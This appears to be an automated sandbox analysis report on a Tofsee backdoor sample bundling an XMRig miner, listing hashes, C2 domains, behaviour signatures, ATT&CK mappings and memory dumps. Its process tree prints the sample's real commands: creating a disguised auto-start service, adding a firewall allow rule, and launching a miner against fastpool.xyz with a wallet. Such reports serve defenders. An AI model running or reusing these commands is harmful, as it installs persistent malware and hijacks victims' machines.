Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03-12-2022 00:17

General

  • Target

    f3c332a22d309ce984a097db89d800f5d8af9fbfcec9e96076a6fea6f5fd4f7a.exe

  • Size

    184KB

  • MD5

    2ddaf25c7e8b248d6b2f29e01b57a31f

  • SHA1

    0cc53cffa140f621a845ec4b27694f021f62279a

  • SHA256

    f3c332a22d309ce984a097db89d800f5d8af9fbfcec9e96076a6fea6f5fd4f7a

  • SHA512

    5c8b9bf106aedd69d578cd758c83190ae9cb366646eba5818371363c0cef08bc8c1ff14930083a6828f806fc527bf0dc7770309b16ec3d616219a210fc84e94e

  • SSDEEP

    3072:+3aGMPpSMeTJoG6+QW5ISOOyedlfcGPEfizxsr10Zw/WO4:/GMxMJoG6JHRu5+k

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\f3c332a22d309ce984a097db89d800f5d8af9fbfcec9e96076a6fea6f5fd4f7a.exe
    "C:\Users\Admin\AppData\Local\Temp\f3c332a22d309ce984a097db89d800f5d8af9fbfcec9e96076a6fea6f5fd4f7a.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5116
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ulmaguh\
      2⤵
        PID:4328
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\spjkhpfm.exe" C:\Windows\SysWOW64\ulmaguh\
        2⤵
          PID:2556
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ulmaguh binPath= "C:\Windows\SysWOW64\ulmaguh\spjkhpfm.exe /d\"C:\Users\Admin\AppData\Local\Temp\f3c332a22d309ce984a097db89d800f5d8af9fbfcec9e96076a6fea6f5fd4f7a.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1904
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description ulmaguh "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4924
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start ulmaguh
          2⤵
          • Launches sc.exe
          PID:5032
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3160
      • C:\Windows\SysWOW64\ulmaguh\spjkhpfm.exe
        C:\Windows\SysWOW64\ulmaguh\spjkhpfm.exe /d"C:\Users\Admin\AppData\Local\Temp\f3c332a22d309ce984a097db89d800f5d8af9fbfcec9e96076a6fea6f5fd4f7a.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1004
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1784
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4680

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      New Service

      1
      T1050

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Privilege Escalation

      New Service

      1
      T1050

      Defense Evasion

      Modify Registry

      1
      T1112

      Discovery

      Query Registry

      1
      T1012

      System Information Discovery

      2
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\spjkhpfm.exe
        Filesize

        14.9MB

        MD5

        35e8feff865fe5c51c5242822a621ded

        SHA1

        37edad681d25b56dd513aa9082979807ef5397f7

        SHA256

        f7e9cd31f6780b972166ceff647afbb030e09bd843aeab7f6286bd6e924d21e1

        SHA512

        ab70fc5b145ddf5cfbc6cef2d20f94aa9f7cbcf49d2501a1041f6d33affe0e66014583145adec4700ec4ec69d320ce8b70deccaad9b3ad3f9583eb81fa3dcd85

      • C:\Windows\SysWOW64\ulmaguh\spjkhpfm.exe
        Filesize

        14.9MB

        MD5

        35e8feff865fe5c51c5242822a621ded

        SHA1

        37edad681d25b56dd513aa9082979807ef5397f7

        SHA256

        f7e9cd31f6780b972166ceff647afbb030e09bd843aeab7f6286bd6e924d21e1

        SHA512

        ab70fc5b145ddf5cfbc6cef2d20f94aa9f7cbcf49d2501a1041f6d33affe0e66014583145adec4700ec4ec69d320ce8b70deccaad9b3ad3f9583eb81fa3dcd85

      • memory/1004-149-0x0000000000400000-0x0000000000464000-memory.dmp
        Filesize

        400KB

      • memory/1004-145-0x0000000000400000-0x0000000000464000-memory.dmp
        Filesize

        400KB

      • memory/1004-144-0x0000000000769000-0x0000000000779000-memory.dmp
        Filesize

        64KB

      • memory/1784-159-0x0000000000750000-0x0000000000760000-memory.dmp
        Filesize

        64KB

      • memory/1784-152-0x0000000000570000-0x0000000000585000-memory.dmp
        Filesize

        84KB

      • memory/1784-165-0x0000000007700000-0x0000000007B0B000-memory.dmp
        Filesize

        4.0MB

      • memory/1784-162-0x0000000001BF0000-0x0000000001BF5000-memory.dmp
        Filesize

        20KB

      • memory/1784-156-0x0000000000740000-0x0000000000746000-memory.dmp
        Filesize

        24KB

      • memory/1784-153-0x0000000002600000-0x000000000280F000-memory.dmp
        Filesize

        2.1MB

      • memory/1784-168-0x0000000002BD0000-0x0000000002BD7000-memory.dmp
        Filesize

        28KB

      • memory/1784-151-0x0000000000570000-0x0000000000585000-memory.dmp
        Filesize

        84KB

      • memory/1784-147-0x0000000000570000-0x0000000000585000-memory.dmp
        Filesize

        84KB

      • memory/1784-146-0x0000000000000000-mapping.dmp
      • memory/1904-138-0x0000000000000000-mapping.dmp
      • memory/2556-136-0x0000000000000000-mapping.dmp
      • memory/3160-142-0x0000000000000000-mapping.dmp
      • memory/4328-132-0x0000000000000000-mapping.dmp
      • memory/4680-172-0x0000000000AC0000-0x0000000000BB1000-memory.dmp
        Filesize

        964KB

      • memory/4680-171-0x0000000000000000-mapping.dmp
      • memory/4680-177-0x0000000000AC0000-0x0000000000BB1000-memory.dmp
        Filesize

        964KB

      • memory/4924-139-0x0000000000000000-mapping.dmp
      • memory/5032-140-0x0000000000000000-mapping.dmp
      • memory/5116-143-0x0000000000400000-0x0000000000464000-memory.dmp
        Filesize

        400KB

      • memory/5116-133-0x000000000082D000-0x000000000083E000-memory.dmp
        Filesize

        68KB

      • memory/5116-134-0x00000000005B0000-0x00000000005C3000-memory.dmp
        Filesize

        76KB

      • memory/5116-135-0x0000000000400000-0x0000000000464000-memory.dmp
        Filesize

        400KB